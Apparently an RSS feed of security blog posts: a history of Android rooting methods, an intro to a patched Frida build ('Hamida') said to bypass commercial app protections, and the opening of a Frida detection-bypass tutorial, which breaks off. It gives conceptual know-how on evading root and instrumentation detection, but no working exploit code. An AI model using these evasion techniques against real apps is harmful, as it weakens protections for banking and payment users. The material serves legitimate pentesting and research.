For many users, rooting was not about &quot;hacking&quot; the phone in a dramatic sense. It was about &lt;strong&gt;ownership&lt;/strong&gt;. If you bought the device, you wanted the freedom to shape it however you wanted.
:::&lt;/p&gt;
&lt;p&gt;Some rooted to run full backup tools. Others wanted better ad blocking, stronger automation, CPU tuning, custom kernels, or full custom ROMs. In that era, root felt less like a niche experiment and more like a natural next step for Android enthusiasts.&lt;/p&gt;
&lt;h2&gt;The SuperSU era&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If Android rooting had a face for many years, it was &lt;strong&gt;SuperSU&lt;/strong&gt;. Created by Chainfire, SuperSU became the familiar gatekeeper between apps and privileged access. When an app asked for root, SuperSU was the prompt most people saw.&lt;/p&gt;
&lt;p&gt;What made SuperSU important was not just that it granted root. It made root management feel organized and accessible. Users could allow or deny requests, review logs, and manage which apps had access without digging through low-level scripts every time.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SuperSU works by installing a su binary and root manager, usually through direct system or boot modifications, then granting or denying root requests from apps.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::warning
A huge fallback for the old root method su is that it directly changes the &lt;code&gt;system&lt;/code&gt; partition.
:::&lt;/p&gt;
&lt;p&gt;Under the hood, though, the old model was much rougher than it looked. Traditional root often meant modifying the system partition directly, dropping &lt;code&gt;su&lt;/code&gt; into places Android did not originally expect, and making permanent changes to the software layout. It worked well for the Android of that time, but it also meant updates could break more easily and the system was no longer &quot;clean&quot; in the eyes of newer security checks.&lt;/p&gt;
&lt;p&gt;:::important
SuperSU represented an era when root was direct, powerful, and a little messy. It matched the Android world it came from.
:::&lt;/p&gt;
&lt;h2&gt;Android started pushing back&lt;/h2&gt;
&lt;p&gt;As Android matured, Google began tightening the platform in ways that changed the rooting scene completely. Features like &lt;code&gt;Verified Boot&lt;/code&gt;, &lt;code&gt;dm-verity&lt;/code&gt;, stronger &lt;code&gt;SELinux&lt;/code&gt; enforcement, and later integrity attestation made it much harder to treat Android like a loosely protected Linux playground.&lt;/p&gt;
&lt;p&gt;This was not just about blocking enthusiasts. It was also about protecting users from tampering, persistent malware, and broken update chains. But for the rooting community, the effect was obvious: the old &quot;flash and enjoy&quot; model was fading fast.&lt;/p&gt;
&lt;p&gt;:::warning
Android 7 marked a particularly important point in that shift. From there on, rooting became less about modifying Android directly and more about working around an increasingly hardened system design.
:::&lt;/p&gt;
&lt;p&gt;That change continued through newer versions as partition schemes became more complex and seamless &lt;code&gt;A/B&lt;/code&gt; updates made persistent modifications harder to maintain cleanly. Root did not die, but it stopped being casual.&lt;/p&gt;
&lt;p&gt;You can read more about it &lt;a href=&quot;https://developer.android.com/about/versions/nougat/android-7.0-changes&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Magisk changed the game&lt;/h2&gt;
&lt;p&gt;Then &lt;strong&gt;&lt;code&gt;Magisk&lt;/code&gt;&lt;/strong&gt; arrived, and for a lot of people, it felt revolutionary. It did not just offer root access; it changed the way people thought about root on Android.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Magisk&apos;s&lt;/code&gt; key idea was &quot;&lt;code&gt;systemless&lt;/code&gt;&quot; root. Instead of directly modifying &lt;code&gt;/system&lt;/code&gt; in the old way, Magisk focused on patching the boot image and applying changes more cleanly at &lt;code&gt;runtime&lt;/code&gt;. That made rooting feel smarter, more flexible, and better suited to modern Android&apos;s restrictions.&lt;/p&gt;
&lt;p&gt;:::tip
Magisk works by patching the boot image to provide systemless root, so apps get su access without directly changing the system partition.
:::&lt;/p&gt;
&lt;p&gt;This was a huge mindset shift. &lt;code&gt;SuperSU&lt;/code&gt; belonged to the era of direct modification, while &lt;code&gt;Magisk&lt;/code&gt; belonged to the era of adaptation. It accepted that Android had changed and built a model that could survive in that new reality.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Magisk&lt;/code&gt; also became more than a root solution. It turned into a platform. With modules, better management tools, and later features like &lt;code&gt;Zygisk&lt;/code&gt;, it gave users a modular way to customize devices without treating every change aka &lt;code&gt;runtime&lt;/code&gt; like a permanent surgery on the operating system.&lt;/p&gt;
&lt;h3&gt;Some Important Concepts&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Systemless root is a way to get &lt;code&gt;root&lt;/code&gt; on Android without directly modifying the &lt;code&gt;/system&lt;/code&gt; partition; instead, it usually works by patching the boot image so root is injected during startup runtime.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;and how does that happen? well, meet &lt;code&gt;Zygote&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Zygote&lt;/code&gt; is a core Android process that acts as the root of app and system processes for a given &lt;code&gt;ABI&lt;/code&gt;. When Android needs to start an app, the system asks Zygote, and Zygote forks a new process &lt;code&gt;(PID)&lt;/code&gt; from its preloaded state instead of building everything from scratch. That design makes app startup faster because common classes, libraries, and runtime resources are already loaded.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;So does the community leaves it alone? nah, too boring, meet &lt;code&gt;Zygisk&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Zygisk&lt;/code&gt; is a &lt;code&gt;Magisk&lt;/code&gt; feature that integrates &lt;code&gt;Magisk&lt;/code&gt; modules and root-related behavior directly into the &lt;code&gt;Zygote&lt;/code&gt; process. It showed up because older root-hiding approaches like &lt;code&gt;MagiskHide&lt;/code&gt; were becoming less reliable as &lt;code&gt;Google’s SafetyNet&lt;/code&gt; and later stronger checks got harder to spoof, so Magisk moved to a deeper and more proactive model.&lt;/p&gt;
&lt;h3&gt;How Zygisk relates to Zygote?&lt;/h3&gt;
&lt;p&gt;The name basically tells the story: &lt;code&gt;Zygisk&lt;/code&gt; = Magisk + Zygote. &lt;code&gt;Zygisk&lt;/code&gt; works by hooking into &lt;code&gt;Zygote&lt;/code&gt;, which matters because nearly every Android app process is forked from &lt;code&gt;Zygote&lt;/code&gt;, so anything loaded there can influence app processes very early. That is why &lt;code&gt;Zygisk&lt;/code&gt; became important for advanced modules and app-level behavior: it sits at a strategic point in Android’s process creation flow rather than acting only later from normal userspace.&lt;/p&gt;
&lt;h2&gt;Android Train Stations&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Android 7 to Android 10: the transition years&lt;/h3&gt;
&lt;p&gt;This was the era where traditional root methods started colliding with Android’s new security architecture. &lt;code&gt;Verified Boot&lt;/code&gt; and &lt;code&gt;dm-verity&lt;/code&gt; mattered much more now, which meant the system could actively check whether critical partitions such as &lt;code&gt;/system&lt;/code&gt; still matched a known-good state during boot. On locked devices, persistent changes to &lt;code&gt;/system&lt;/code&gt; were no longer something Android would casually tolerate, and that made classic “modify the system partition and forget about it” rooting far less reliable.&lt;/p&gt;
&lt;p&gt;At the same time, Android’s partition model was changing. &lt;code&gt;A/B&lt;/code&gt; partitions and seamless updates meant the phone was no longer updating the currently running slot in place; instead, it patched the inactive slot and switched over on reboot. That sounds cleaner for users, but it complicated root because your changes could be overwritten by the newly prepared slot unless your root method understood how to survive that update flow.&lt;/p&gt;
&lt;p&gt;This is also why &lt;strong&gt;Magisk&lt;/strong&gt; fit the moment so well. Instead of treating root as a permanent edit inside &lt;code&gt;/system&lt;/code&gt;, Magisk leaned into a systemless model by patching the boot image and applying modifications at runtime, leaving the actual system partition largely untouched.&lt;/p&gt;
&lt;p&gt;:::important
In practical terms, that made rooting more compatible with modern Android’s verified partitions, &lt;code&gt;OTA&lt;/code&gt; behavior, and tighter integrity checks.
:::&lt;/p&gt;
&lt;p&gt;So for users, root still looked alive on the surface, but behind the scenes it had become more strategic. You were no longer just editing Android’s files; you were negotiating with boot verification, partition layouts, and an operating system that now assumed tamper resistance by default.&lt;/p&gt;
&lt;h3&gt;Android 11 to Android 13: pressure everywhere&lt;/h3&gt;
&lt;p&gt;By Android 11 through Android 13, root itself was not the hard part anymore. The harder part was keeping the rooted phone usable in the real world, especially when apps started caring about whether the device looked modified. This is where &lt;code&gt;SafetyNet&lt;/code&gt;’s earlier role gave way to the stronger &lt;strong&gt;Play Integrity&lt;/strong&gt; model, and that shift made life harder for rooted users because sensitive apps could use those signals to decide whether to run at all.&lt;/p&gt;
&lt;p&gt;That is why this era felt different from the earlier Magisk years. Root was still technically possible, but the ecosystem around the phone had become suspicious of it. Banking apps, payment apps, some corporate management tools, and even games increasingly treated root as a red flag, which meant the question was no longer “Can I root?” but “Can I root and still keep everything working?”&lt;/p&gt;
&lt;p&gt;Under the hood, this created an entire workflow culture around root maintenance. Users had to think about &lt;code&gt;OTA&lt;/code&gt; survival, root hiding, deny lists, module compatibility, and whether app-side checks were looking only at basic integrity signals or at deeper signs of modification. Magisk evolved in this period not just as a root solution, but as a framework for managing that tension between modification and detection.&lt;/p&gt;
&lt;p&gt;This also changed the audience. Casual users started dropping off because the reward was no longer always worth the friction, while the people who stayed were more likely to be developers, ROM maintainers, modders, and security researchers who were comfortable managing boot images, modules, and integrity workarounds as part of normal device use.&lt;/p&gt;
&lt;p&gt;:::caution
This was the point where root stopped feeling mainstream and started feeling specialized. It was still powerful, but it increasingly belonged to people who understood Android’s security model well enough to work around it without constantly breaking their own setup.
:::&lt;/p&gt;
&lt;h3&gt;Android 14 to Android 16: a new phase&lt;/h3&gt;
&lt;p&gt;On modern Android, rooting feels less like a simple customization trick and more like a deliberate low-level engineering choice. The platform now combines stronger boot-chain verification, enforced &lt;code&gt;SELinux&lt;/code&gt; policies, modern partition/update behavior, and app-side integrity enforcement into a much tighter security story than older Android ever had.&lt;/p&gt;
&lt;p&gt;That matters because the old reasons many people rooted for are not as compelling anymore. Android and &lt;code&gt;OEM&lt;/code&gt; builds already provide many features that once required root, so the users who still care are usually the ones chasing things stock Android still cannot offer: deep system control, advanced instrumentation, kernel experimentation, research workflows, or highly customized environments.&lt;/p&gt;
&lt;p&gt;This is exactly why &lt;strong&gt;KernelSU&lt;/strong&gt; gets attention now. It represents a shift from “root as a userspace patching trick” toward “root as a capability managed closer to the kernel layer,” which fits the broader direction of modern Android, especially as &lt;code&gt;GKI&lt;/code&gt; and kernel standardization become more important.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As Android kept locking down the upper layers, the root scene started moving deeper rather than disappearing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is what makes this phase interesting. Root is more niche than before, but it is also more technically mature. &lt;strong&gt;SuperSU&lt;/strong&gt; belonged to the era of direct system modification, &lt;strong&gt;Magisk&lt;/strong&gt; belonged to the era of systemless adaptation, and &lt;strong&gt;KernelSU&lt;/strong&gt; belongs to an era where the most interesting place to rethink root is no longer &lt;code&gt;/system&lt;/code&gt;, but the kernel itself.&lt;/p&gt;
&lt;h2&gt;Why KernelSU feels different&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;KernelSU works by moving root handling into the kernel itself, so root access is managed at kernel level instead of mainly through userspace boot patches.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;KernelSU’s&lt;/code&gt; core idea is simple but important: it runs inside the Linux kernel, not only in userspace. That means root access can be enforced at the same layer that already controls processes, credentials, syscalls, and security decisions.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;KernelSU&lt;/code&gt; stands out because it approaches root from a different layer. Instead of living mainly in the same model Magisk popularized, it brings root control closer to the kernel itself.&lt;/p&gt;
&lt;p&gt;:::warning
That may sound like a small technical detail, but philosophically it is a big deal.
:::&lt;/p&gt;
&lt;p&gt;That is why KernelSU feels exciting even to people who already know &lt;code&gt;Magisk&lt;/code&gt; well. It is not just another root manager with a different interface. It suggests a different future for root on newer Android devices, especially in a world shaped by &lt;code&gt;GKI&lt;/code&gt;, modern kernels, and tighter platform design.&lt;/p&gt;
&lt;p&gt;It also matches the direction Android itself has taken. As the platform became more standardized and more locked down in user space, root naturally started moving deeper.&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;GKI&lt;/strong&gt; (Generic Kernel Image) — &lt;code&gt;Google’s&lt;/code&gt; standardized base kernel project, designed to reduce kernel fragmentation by keeping a common core kernel and moving device-specific pieces like SoC and board support into separate loadable modules.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LKM&lt;/strong&gt; (Loadable Kernel Module) — a kernel module, usually a &lt;code&gt;.ko&lt;/code&gt; file, that can be loaded into a running kernel to add functionality without rebuilding the whole kernel.
:::&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;KernelSU&lt;/code&gt; discussions, &lt;strong&gt;GKI mode&lt;/strong&gt; usually means replacing the device’s original kernel with a KernelSU-provided generic kernel image, while &lt;strong&gt;LKM mode&lt;/strong&gt; means keeping the stock kernel and loading KernelSU as a loadable kernel module instead. That is why people compare “GKI vs LKM” in rooting guides, even though technically one is a kernel image model and the other is a module-loading approach.&lt;/p&gt;
&lt;h3&gt;Artifacts&lt;/h3&gt;
&lt;p&gt;This &lt;code&gt;kernel-level&lt;/code&gt; design also changes the detection story. Because &lt;strong&gt;KernelSU&lt;/strong&gt; does not rely on the same userspace flow as Magisk, and does not depend in the same way on boot-image patching plus &lt;code&gt;Zygisk&lt;/code&gt;-style app-process integration, it can avoid some of the artifacts that older root detection logic was built to look for.&lt;/p&gt;
&lt;p&gt;:::important
In practical terms, that means some apps and detection libraries may have a harder time spotting the familiar signs of traditional systemless root, because the privilege logic lives deeper in the kernel rather than mainly in userspace.
:::&lt;/p&gt;
&lt;p&gt;But that does not make &lt;strong&gt;KernelSU&lt;/strong&gt; invisible. Modern detection can still look at device integrity signals, bootloader state, kernel anomalies, &lt;code&gt;SELinux&lt;/code&gt; behavior, or other signs that the environment is modified.&lt;/p&gt;
&lt;h2&gt;Closing: Is root still worth it?&lt;/h2&gt;
&lt;p&gt;That depends on who you are.&lt;/p&gt;
&lt;p&gt;For average users, probably less than before. Android and &lt;code&gt;OEM&lt;/code&gt; skins now include many features that once made root feel essential, and the tradeoffs are heavier when app compatibility and integrity checks enter the picture.&lt;/p&gt;
&lt;p&gt;But for enthusiasts, developers, mobile tinkerers, kernel hackers, and security researchers, root still matters a lot. In some ways, it matters even more now because modern Android is a far more interesting system to study, test, and bend than the simpler Android builds of the past.&lt;/p&gt;
&lt;p&gt;That is what makes the current moment so interesting. Rooting is no longer mainstream, but it is still evolving.&lt;/p&gt;
&lt;p&gt;:::tip
If you are a &lt;strong&gt;security researcher&lt;/strong&gt;, then you already know the answer :’D.
:::&lt;/p&gt;
&lt;p&gt;And when you look at the journey from Android 7 to Android 16, that evolution makes perfect sense: every time Android got smarter, root had to get smarter too.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rooting was never only about getting admin access. It was always about &lt;strong&gt;control&lt;/strong&gt;, experimentation, and the urge to push Android beyond the limits of its default design. That is why the story still matters today.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But for you, is the hassle really worth it?&lt;/p&gt;
</content:encoded></item><item><title>The Way to Hamida: Frida Artifacts</title><link>https://ymuu.me/posts/the-way-to-hamida/</link><guid isPermaLink="true">https://ymuu.me/posts/the-way-to-hamida/</guid><description>A deep dive into the fingerprints and artifacts Frida leaves behind — how they are detected, how they were patched, and what Hamida does differently.</description><pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;:::caution
#FreePalestine
:::&lt;/p&gt;
&lt;p&gt;:::warning
This is just for educational purposes.
:::&lt;/p&gt;
&lt;h1&gt;The Way to &lt;code&gt;Hamida&lt;/code&gt;: Artifacts? DFIR Frida?&lt;/h1&gt;
&lt;p&gt;This mini blog is about our beloved &lt;code&gt;Frida&lt;/code&gt; tool. However, we will try to look at it from an insider&apos;s view — I won&apos;t be explaining how &lt;code&gt;Frida&lt;/code&gt; works or its requirements since tons of guides already covered that.&lt;/p&gt;
&lt;h2&gt;What is Hamida?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Hamida&lt;/code&gt; is a &lt;code&gt;modified&lt;/code&gt; (patched) &lt;code&gt;Frida&lt;/code&gt; version I created by combining some of the most well-known &lt;code&gt;Frida&lt;/code&gt; patches out there, updating them, adding the missing pieces, and fixing the errors. I managed to get &lt;code&gt;Hamida&lt;/code&gt; working and bypassing some heavy commercial &lt;code&gt;RASPs&lt;/code&gt; out there.&lt;/p&gt;
&lt;p&gt;:::note
I will not be releasing &lt;code&gt;Hamida&lt;/code&gt;. I&apos;ll take the better approach of sharing my methodology and explaining what these patches are, how they work, and how they were created.
:::&lt;/p&gt;
&lt;p&gt;For now, what I&apos;ll be covering is the fingerprints and artifacts Frida leaves behind (mostly while running) — whether it&apos;s the agent, the server, or the gadget. I&apos;ll then explain how it gets detected, how it was patched, and what it looks like after being patched.&lt;/p&gt;
&lt;p&gt;I&apos;ll try to explain it in the most &lt;code&gt;noob-friendly&lt;/code&gt; way I can.&lt;/p&gt;
&lt;p&gt;However, you will need a solid understanding of how &lt;code&gt;Frida&lt;/code&gt; works to keep up with me — and of course, a good understanding of Android 🙃&lt;/p&gt;
&lt;h2&gt;Part 0: Quick Terminology Recap&lt;/h2&gt;
&lt;p&gt;Before we go deep into Frida artifacts, here is a small recap of common C/C++, Linux, and Frida terms used in this series.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;thread&lt;/code&gt;: A lightweight execution unit inside a process. A process can have many threads.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;loop&lt;/code&gt;: Repeated execution of code (&lt;code&gt;for&lt;/code&gt;, &lt;code&gt;while&lt;/code&gt;, etc.), often used for polling or event handling.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;native&lt;/code&gt;: Code compiled to machine code (C/C++) and running outside the JVM/ART managed layer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;glib&lt;/code&gt;: Usually means GNU C library (&lt;code&gt;glibc&lt;/code&gt;) or GLib utility library, depending on context.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rodata&lt;/code&gt;: Read-only data section in ELF binaries, often contains constant strings.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;agent&lt;/code&gt; (Frida): The script/runtime injected into the target process to hook and inspect behavior.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sed&lt;/code&gt;: Stream editor used to transform text from shell scripts or pipelines.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LIEF&lt;/code&gt;: Library to parse/modify executable formats (ELF, PE, Mach-O), useful for binary patching.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.dynstr&lt;/code&gt;: ELF dynamic string table that stores symbol/string names used by dynamic linking.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JNI_OnLoad&lt;/code&gt;: Function called when a native library is loaded by JNI; often used to register native methods.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SDKs&lt;/code&gt;: Software Development Kits; collections of APIs/libs/tools for building against a platform.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GumJS&lt;/code&gt;: Frida&apos;s JavaScript runtime layer on top of &lt;code&gt;frida-gum&lt;/code&gt; instrumentation primitives.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rpc&lt;/code&gt; (Frida RPC): Exposing JS functions from agent to host via message-based remote procedure calls.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.vala&lt;/code&gt;: Source files written in the Vala language (used in parts of Frida ecosystem tooling).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exports&lt;/code&gt;: Symbols a shared library exposes so other modules can link/call them.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt;: Process memory map on Linux/Android (regions, perms, backing files).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/proc/self/fd&lt;/code&gt;: Symlinks to currently opened file descriptors for the current process.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dlopen&lt;/code&gt;: Runtime API to load a shared library (&lt;code&gt;.so&lt;/code&gt;) dynamically.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dlsym&lt;/code&gt;: Runtime API to resolve a symbol address from a loaded library.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gum-js-loop&lt;/code&gt;: Internal event/message loop used by Frida JS runtime components.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/task/&lt;/code&gt;: Directory listing all threads (&lt;code&gt;TIDs&lt;/code&gt;) in a process.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/task/&amp;lt;tid&amp;gt;/comm&lt;/code&gt;: Thread name for a specific thread id.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;frida-gum&lt;/code&gt;: Core Frida instrumentation engine used for hooking, stalking, and low-level runtime patches.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of these terms are new, keep this section as your mini dictionary while reading the next parts.&lt;/p&gt;
&lt;p&gt;At the end of each topic, you&apos;ll find a &lt;strong&gt;Noob Section&lt;/strong&gt;, which is &lt;code&gt;super&lt;/code&gt; important. But why at the end? Because the aim of this blog is to deep dive into the technical details of this topic, not just a quick summary. Will reading only the noob section be enough? 90% yes — but you&apos;ll miss all the fun. Maybe the technical details give you a hint or a lead for a new bypass? Maybe even a new tool? Who knows?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hamida was built on top of 4 main patched Frida versions along with some custom scripts by me. I&apos;ll be giving links and full credits to every author — and I hope you speak a little Chinese.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/feicong/strong-frida&quot;&gt;https://github.com/feicong/strong-frida&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/qtfreet00/AntiFrida&quot;&gt;https://github.com/qtfreet00/AntiFrida&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://t.zsxq.com/miIunQN&quot;&gt;https://t.zsxq.com/miIunQN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/darvincisec/DetectFrida&quot;&gt;https://github.com/darvincisec/DetectFrida&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/b-mueller/frida-detection-demo&quot;&gt;https://github.com/b-mueller/frida-detection-demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bbs.kanxue.com/thread-276111.htm&quot;&gt;https://bbs.kanxue.com/thread-276111.htm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/CrackerCat/strongR-frida-android&quot;&gt;https://github.com/CrackerCat/strongR-frida-android&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hzzheyang/strongR-frida-android&quot;&gt;https://github.com/hzzheyang/strongR-frida-android&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/AeonLucid/MagiskFrida&quot;&gt;https://github.com/AeonLucid/MagiskFrida&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Ylarod/Florida&quot;&gt;https://github.com/Ylarod/Florida&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/thau0x01/frida-patches&quot;&gt;https://github.com/thau0x01/frida-patches&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/soyasoya5/strongR-frida-patches&quot;&gt;https://github.com/soyasoya5/strongR-frida-patches&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Exo1i/MagiskHluda&quot;&gt;https://github.com/Exo1i/MagiskHluda&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Advanced Frida Detection Bypass</title><link>https://ymuu.me/posts/advanced-frida-detection-bypass/</link><guid isPermaLink="true">https://ymuu.me/posts/advanced-frida-detection-bypass/</guid><description>A comprehensive guide to bypassing advanced Frida detection mechanisms in Android apps, including port detection, memory maps artifact scanning, and direct syscall hooking techniques.</description><pubDate>Fri, 28 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;:::caution
FreePalestine
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;In this noob-friendly writeup, I will explain and share some of the &lt;strong&gt;advanced Frida detection techniques&lt;/strong&gt; I have faced during my last pentest engagements. However, due to &lt;strong&gt;confidentiality&lt;/strong&gt; of the apps, we will use an &lt;code&gt;open-source&lt;/code&gt; app which I found very matching to some of these advanced bypasses I encountered.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sample APK&lt;/strong&gt;: &lt;a href=&quot;https://github.com/fatalSec/android_in_app_protections/blob/main/adv_frida.apk&quot;&gt;adv_frida_apk&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solver Frida Script&lt;/strong&gt;: &lt;a href=&quot;https://github.com/fatalSec/android_in_app_protections/blob/main/bypass_frida.js&quot;&gt;bypass_frida.js&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h1&gt;Prerequisites: Understanding Android Layers &amp;amp; Frida Internals&lt;/h1&gt;
&lt;p&gt;Before digging deep, I will explain some simple basic topics that will help us understand the flow of these detections.
I made them into flows, comparios, Q&amp;amp;A to make them easier to understand.&lt;/p&gt;
&lt;h2&gt;1. Java Level vs Native Level vs Low Level&lt;/h2&gt;
&lt;p&gt;First, we need to understand the 3 different levels when dealing with Android Apps.&lt;/p&gt;
&lt;h3&gt;The Three Layers of Android&lt;/h3&gt;
&lt;h3&gt;Java Level (Dalvik/ART)&lt;/h3&gt;
&lt;p&gt;The topmost layer where your &lt;code&gt;MainActivity.java&lt;/code&gt;, Activities, and Services live. This layer uses Android SDK APIs (&lt;code&gt;android.*&lt;/code&gt;, &lt;code&gt;java.*&lt;/code&gt;) and runs in the Android Runtime (ART) as interpreted or JIT-compiled DEX bytecode (&lt;code&gt;.dex&lt;/code&gt; files inside the APK).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;String password = editText.getText().toString();&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Native Level (C/C++)&lt;/h3&gt;
&lt;p&gt;Connected to Java via &lt;strong&gt;JNI (Java Native Interface)&lt;/strong&gt;. This layer consists of &lt;code&gt;.so&lt;/code&gt; libraries (like &lt;code&gt;libnative-lib.so&lt;/code&gt;, &lt;code&gt;libc.so&lt;/code&gt;) containing compiled ARM64/ARM32 machine code. It provides direct memory access through pointers and is developed using the NDK (Native Development Kit). The &lt;code&gt;libc.so&lt;/code&gt; is the C standard library containing functions like &lt;code&gt;printf&lt;/code&gt;, &lt;code&gt;malloc&lt;/code&gt;, &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;int fd = open(&quot;/proc/self/maps&quot;, O_RDONLY);&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Low Level (Kernel)&lt;/h3&gt;
&lt;p&gt;Accessed from Native level via &lt;strong&gt;System Calls&lt;/strong&gt; (&lt;code&gt;syscall&lt;/code&gt;/&lt;code&gt;SVC #0&lt;/code&gt;). This is the Linux Kernel handling direct hardware interaction, process/memory/file management. &lt;strong&gt;Cannot be bypassed from userspace.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; &lt;code&gt;SVC #0&lt;/code&gt; with &lt;code&gt;x8=56&lt;/code&gt; (openat syscall)&lt;/p&gt;
&lt;h3&gt;How They Communicate&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;From&lt;/th&gt;
&lt;th&gt;To&lt;/th&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Java → Native&lt;/td&gt;
&lt;td&gt;JNI&lt;/td&gt;
&lt;td&gt;&lt;code&gt;System.loadLibrary(&quot;native&quot;)&lt;/code&gt; then call &lt;code&gt;native void doCheck()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Native → Java&lt;/td&gt;
&lt;td&gt;JNI&lt;/td&gt;
&lt;td&gt;&lt;code&gt;env-&amp;gt;CallVoidMethod(obj, methodID)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Native → Kernel&lt;/td&gt;
&lt;td&gt;Syscall&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libc.so&lt;/code&gt; wrapper OR direct &lt;code&gt;SVC #0&lt;/code&gt; instruction&lt;/td&gt;
&lt;/tr&gt;
